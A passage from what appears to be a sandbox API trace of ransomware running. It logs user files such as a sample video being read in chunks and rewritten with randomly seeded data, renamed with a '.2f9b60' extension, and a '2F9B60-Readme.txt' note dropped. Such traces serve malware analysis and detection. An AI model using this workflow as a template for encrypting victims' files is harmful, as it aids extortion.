hFile=0x17ac, liDistanceToMove=0x93fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.694] ReadFile (in: hFile=0x17ac, lpBuffer=0x2253fc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2253fcc8, lpOverlapped=0x0 | out: lpBuffer=0x2253fc80*, lpNumberOfBytesRead=0x2253fcc8*=0x4, lpOverlapped=0x0) returned 1 [0118.695] SetFilePointerEx (in: hFile=0x17ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab070 [0118.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aabf0 [0118.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab30 [0118.696] NtQuerySystemTime (in: CurrentTime=0x2253fbc0 | out: CurrentTime=0x2253fbc0*=132462177241210000) returned 0x0 [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x64d2b9 [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x3be68942 [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x12b77b3a [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x695ad1bd [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x4193ed7a [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x4f12ab8c [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x3f29fc5f [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x4e8d9ccf [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x51bf60e6 [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x13a121f4 [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x3c87fd80 [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x6121f1b6 [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x408b2f8c [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x4a3ea7b7 [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x782e5fc1 [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x6b39fea [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x1eab9c99 [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0xf383b7c [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x3e702cbb [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x16642571 [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x2f5ff93b [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x307b7b8 [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x3d5e3940 [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x62c0d9c7 [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x642794bc [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0xe05a910 [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x7a0af92a [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x36619ef0 [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x3ce5f2d6 [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x66c541fb [0118.696] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x538d2c45 [0118.697] RtlRandomEx (in: Seed=0x2253fbb0 | out: Seed=0x2253fbb0) returned 0x690cb2a5 [0118.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aabc0 [0118.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0118.703] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab00 [0118.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0118.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aab30) returned 1 [0118.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab070) returned 1 [0118.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fb5950 [0118.704] SetFilePointerEx (in: hFile=0x17ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.704] ReadFile (in: hFile=0x17ac, lpBuffer=0x41fb5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2253fc20, lpOverlapped=0x0 | out: lpBuffer=0x41fb5950*, lpNumberOfBytesRead=0x2253fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0118.706] SetFilePointerEx (in: hFile=0x17ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0118.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab070 [0118.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab070) returned 1 [0118.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2020c1b0 [0118.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab070 [0118.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab30 [0118.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aab30) returned 1 [0118.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0118.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.707] WriteFile (in: hFile=0x17ac, lpBuffer=0x2020c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2253fc20, lpOverlapped=0x0 | out: lpBuffer=0x2020c1b0*, lpNumberOfBytesWritten=0x2253fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0128.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2020c1b0) returned 1 [0128.166] SetFilePointerEx (in: hFile=0x17ac, liDistanceToMove=0x4a1000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.166] ReadFile (in: hFile=0x17ac, lpBuffer=0x41fb5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2253fc20, lpOverlapped=0x0 | out: lpBuffer=0x41fb5950*, lpNumberOfBytesRead=0x2253fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0128.171] SetFilePointerEx (in: hFile=0x17ac, liDistanceToMove=0x4a1000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0128.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85dd90 [0128.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0128.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0128.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2020c1b0 [0128.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0128.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a930 [0128.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a930) returned 1 [0128.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd90) returned 1 [0128.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0128.173] WriteFile (in: hFile=0x17ac, lpBuffer=0x2020c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2253fc20, lpOverlapped=0x0 | out: lpBuffer=0x2020c1b0*, lpNumberOfBytesWritten=0x2253fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0160.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2020c1b0) returned 1 [0160.997] SetFilePointerEx (in: hFile=0x17ac, liDistanceToMove=0x93c400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.997] ReadFile (in: hFile=0x17ac, lpBuffer=0x41fb5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2253fc20, lpOverlapped=0x0 | out: lpBuffer=0x41fb5950*, lpNumberOfBytesRead=0x2253fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0165.693] SetFilePointerEx (in: hFile=0x17ac, liDistanceToMove=0x93c400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0165.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0165.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bfd0 [0165.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bfd0) returned 1 [0165.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425bd540 [0165.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bfd0 [0165.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0165.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf40) returned 1 [0165.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0165.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0165.695] WriteFile (in: hFile=0x17ac, lpBuffer=0x425bd540*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2253fc20, lpOverlapped=0x0 | out: lpBuffer=0x425bd540*, lpNumberOfBytesWritten=0x2253fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0187.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425bd540) returned 1 [0187.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7a32d0 [0187.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bfd0) returned 1 [0187.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0187.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab070) returned 1 [0187.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb5950) returned 1 [0187.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1ce5bcf0 [0187.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0187.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0187.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab070 [0187.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab070) returned 1 [0187.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1ce5bd40 [0187.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab070 [0187.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddad90 [0187.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddad90) returned 1 [0187.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0187.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0187.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16c) returned 0x19e720 [0187.162] SetFilePointerEx (in: hFile=0x17ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.162] WriteFile (in: hFile=0x17ac, lpBuffer=0x19e720*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x2253fcd0, lpOverlapped=0x0 | out: lpBuffer=0x19e720*, lpNumberOfBytesWritten=0x2253fcd0*=0x16c, lpOverlapped=0x0) returned 1 [0201.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420585b0 [0201.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba960 [0201.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6b0 [0201.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6b0) returned 1 [0201.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42058740 [0201.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6b0 [0201.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe4d0 [0201.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe4d0) returned 1 [0201.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba960) returned 1 [0201.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420585b0) returned 1 [0201.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x75) returned 0x1ceba960 [0201.770] sprintf (in: _Dest=0x1ceba960, _Format="%c%c" | out: _Dest="9d") returned 2 [0201.770] sprintf (in: _Dest=0x1ceba962, _Format="%c%c" | out: _Dest="59") returned 2 [0201.770] sprintf (in: _Dest=0x1ceba964, _Format="%c%c" | out: _Dest="1f") returned 2 [0201.770] sprintf (in: _Dest=0x1ceba966, _Format="%c%c" | out: _Dest="8f") returned 2 [0201.770] sprintf (in: _Dest=0x1ceba968, _Format="%c%c" | out: _Dest="db") returned 2 [0201.770] sprintf (in: _Dest=0x1ceba96a, _Format="%c%c" | out: _Dest="63") returned 2 [0201.770] sprintf (in: _Dest=0x1ceba96c, _Format="%c%c" | out: _Dest="32") returned 2 [0201.770] sprintf (in: _Dest=0x1ceba96e, _Format="%c%c" | out: _Dest="7f") returned 2 [0201.770] sprintf (in: _Dest=0x1ceba970, _Format="%c%c" | out: _Dest="5f") returned 2 [0201.770] sprintf (in: _Dest=0x1ceba972, _Format="%c%c" | out: _Dest="fe") returned 2 [0201.770] sprintf (in: _Dest=0x1ceba974, _Format="%c%c" | out: _Dest="5c") returned 2 [0201.770] sprintf (in: _Dest=0x1ceba976, _Format="%c%c" | out: _Dest="12") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba978, _Format="%c%c" | out: _Dest="28") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba97a, _Format="%c%c" | out: _Dest="1f") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba97c, _Format="%c%c" | out: _Dest="52") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba97e, _Format="%c%c" | out: _Dest="b8") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba980, _Format="%c%c" | out: _Dest="ee") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba982, _Format="%c%c" | out: _Dest="0a") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba984, _Format="%c%c" | out: _Dest="3b") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba986, _Format="%c%c" | out: _Dest="0b") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba988, _Format="%c%c" | out: _Dest="50") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba98a, _Format="%c%c" | out: _Dest="bd") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba98c, _Format="%c%c" | out: _Dest="75") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba98e, _Format="%c%c" | out: _Dest="f2") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba990, _Format="%c%c" | out: _Dest="fb") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba992, _Format="%c%c" | out: _Dest="3d") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba994, _Format="%c%c" | out: _Dest="9d") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba996, _Format="%c%c" | out: _Dest="b7") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba998, _Format="%c%c" | out: _Dest="8b") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba99a, _Format="%c%c" | out: _Dest="4d") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba99c, _Format="%c%c" | out: _Dest="d5") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba99e, _Format="%c%c" | out: _Dest="b4") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba9a0, _Format="%c%c" | out: _Dest="ac") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba9a2, _Format="%c%c" | out: _Dest="69") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba9a4, _Format="%c%c" | out: _Dest="00") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba9a6, _Format="%c%c" | out: _Dest="28") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba9a8, _Format="%c%c" | out: _Dest="f8") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba9aa, _Format="%c%c" | out: _Dest="70") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba9ac, _Format="%c%c" | out: _Dest="87") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba9ae, _Format="%c%c" | out: _Dest="96") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba9b0, _Format="%c%c" | out: _Dest="4b") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba9b2, _Format="%c%c" | out: _Dest="5e") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba9b4, _Format="%c%c" | out: _Dest="34") returned 2 [0201.771] sprintf (in: _Dest=0x1ceba9b6, _Format="%c%c" | out: _Dest="28") returned 2 [0201.772] sprintf (in: _Dest=0x1ceba9b8, _Format="%c%c" | out: _Dest="56") returned 2 [0201.772] sprintf (in: _Dest=0x1ceba9ba, _Format="%c%c" | out: _Dest="6e") returned 2 [0201.772] sprintf (in: _Dest=0x1ceba9bc, _Format="%c%c" | out: _Dest="9e") returned 2 [0201.772] sprintf (in: _Dest=0x1ceba9be, _Format="%c%c" | out: _Dest="16") returned 2 [0201.772] sprintf (in: _Dest=0x1ceba9c0, _Format="%c%c" | out: _Dest="9e") returned 2 [0201.772] sprintf (in: _Dest=0x1ceba9c2, _Format="%c%c" | out: _Dest="ea") returned 2 [0201.772] sprintf (in: _Dest=0x1ceba9c4, _Format="%c%c" | out: _Dest="cd") returned 2 [0201.772] sprintf (in: _Dest=0x1ceba9c6, _Format="%c%c" | out: _Dest="bc") returned 2 [0201.772] sprintf (in: _Dest=0x1ceba9c8, _Format="%c%c" | out: _Dest="fe") returned 2 [0201.772] sprintf (in: _Dest=0x1ceba9ca, _Format="%c%c" | out: _Dest="d2") returned 2 [0201.772] sprintf (in: _Dest=0x1ceba9cc, _Format="%c%c" | out: _Dest="33") returned 2 [0201.772] sprintf (in: _Dest=0x1ceba9ce, _Format="%c%c" | out: _Dest="72") returned 2 [0201.772] sprintf (in: _Dest=0x1ceba9d0, _Format="%c%c" | out: _Dest="fd") returned 2 [0201.772] sprintf (in: _Dest=0x1ceba9d2, _Format="%c%c" | out: _Dest="93") returned 2 [0201.772] RtlInitAnsiString (in: DestinationString=0x2253fd48, SourceString="9d591f8fdb63327f5ffe5c12281f52b8ee0a3b0b50bd75f2fb3d9db78b4dd5b4ac690028f87087964b5e3428566e9e169eeacdbcfed23372fd93" | out: DestinationString="9d591f8fdb63327f5ffe5c12281f52b8ee0a3b0b50bd75f2fb3d9db78b4dd5b4ac690028f87087964b5e3428566e9e169eeacdbcfed23372fd93") [0201.772] RtlAnsiStringToUnicodeString (in: DestinationString=0x2253fd18, SourceString="9d591f8fdb63327f5ffe5c12281f52b8ee0a3b0b50bd75f2fb3d9db78b4dd5b4ac690028f87087964b5e3428566e9e169eeacdbcfed23372fd93", AllocateDestinationString=1 | out: DestinationString="9d591f8fdb63327f5ffe5c12281f52b8ee0a3b0b50bd75f2fb3d9db78b4dd5b4ac690028f87087964b5e3428566e9e169eeacdbcfed23372fd93") returned 0x0 [0201.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b78e880 [0201.773] wcscat (in: _Dest=0x431a7bc0, _Source="9d591f8fdb63327f5ffe5c12281f5" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media\\9d591f8fdb63327f5ffe5c12281f5") returned="C:\\Users\\Public\\Recorded TV\\Sample Media\\9d591f8fdb63327f5ffe5c12281f5" [0201.773] wcscat (in: _Dest=0x431a7bc0, _Source=".2f9b60" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media\\9d591f8fdb63327f5ffe5c12281f5.2f9b60") returned="C:\\Users\\Public\\Recorded TV\\Sample Media\\9d591f8fdb63327f5ffe5c12281f5.2f9b60" [0201.773] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Recorded TV\\Sample Media\\9d591f8fdb63327f5ffe5c12281f5.2f9b60", NtPathName=0x2253fcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Recorded TV\\Sample Media\\9d591f8fdb63327f5ffe5c12281f5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310b280 [0205.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310b280) returned 1 [0205.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320ce80) returned 1 [0205.872] NtQueryInformationFile (in: FileHandle=0x17ac, IoStatusBlock=0x2253fd58, FileInformation=0x2253fd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2253fd58, FileInformation=0x2253fd68) returned 0x0 [0205.872] NtSetInformationFile (FileHandle=0x17ac, IoStatusBlock=0x2253fd58, FileInformation=0x2253fd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0208.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a7bc0) returned 1 [0208.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e880) returned 1 [0208.647] FlushFileBuffers (hFile=0x17ac) returned 1 [0208.659] CloseHandle (hObject=0x17ac) returned 1 [0211.625] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1ceba960 [0211.626] wcscpy (in: _Dest=0x1ceba960, _Source="C:\\Users\\Public\\Recorded TV\\Sample Media\\" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media\\") returned="C:\\Users\\Public\\Recorded TV\\Sample Media\\" [0211.626] wcscat (in: _Dest=0x1ceba960, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Public\\Recorded TV\\Sample Media\\2F9B60-Readme.txt") returned="C:\\Users\\Public\\Recorded TV\\Sample Media\\2F9B60-Readme.txt" [0211.626] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\recorded tv\\sample media\\2f9b60-readme.txt")) returned 0xffffffff [0211.627] CreateFileW (lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\2F9B60-Readme.txt" (normalized: "c:\\users\\public\\recorded tv\\sample media\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0216.412] WriteFile (in: hFile=0x714, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2253fc10, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2253fc10*=0xba9, lpOverlapped=0x0) returned 1 [0220.301] CloseHandle (hObject=0x714) returned 1 [0223.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba960) returned 1 [0223.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adb60) returned 1 Thread: id = 1383 os_tid = 0xe04 [0118.709] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv")) returned 0x20 [0118.709] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", dwFileAttributes=0x20) returned 1 [0118.710] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1674 [0118.710] GetFileSizeEx (in: hFile=0x1674, lpFileSize=0x3e6bfd20 | out: lpFileSize=0x3e6bfd20*=26246026) returned 1 [0118.710] SetFilePointerEx (in: hFile=0x1674, liDistanceToMove=0x1907b86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.710] ReadFile (in: hFile=0x1674, lpBuffer=0x3e6bfca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e6bfce8, lpOverlapped=0x0 | out: lpBuffer=0x3e6bfca0*, lpNumberOfBytesRead=0x3e6bfce8*=0x4, lpOverlapped=0x0) returned 1 [0118.724] SetFilePointerEx (in: hFile=0x1674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab30 [0118.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa710 [0118.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa7d0 [0118.724] NtQuerySystemTime (in: CurrentTime=0x3e6bfbe0 | out: CurrentTime=0x3e6bfbe0*=132462177241522000) returned 0x0 [0118.724] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x2b9d00ea [0118.724] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0xf0c410d [0118.724] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x4cb8ffeb [0118.724] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x46e5bfc6 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x792792c1 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x110161e6 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: Seed=0x3e6bfbd0) returned 0x435ce6a5 [0118.725] RtlRandomEx (in: Seed=0x3e6bfbd0 | out: 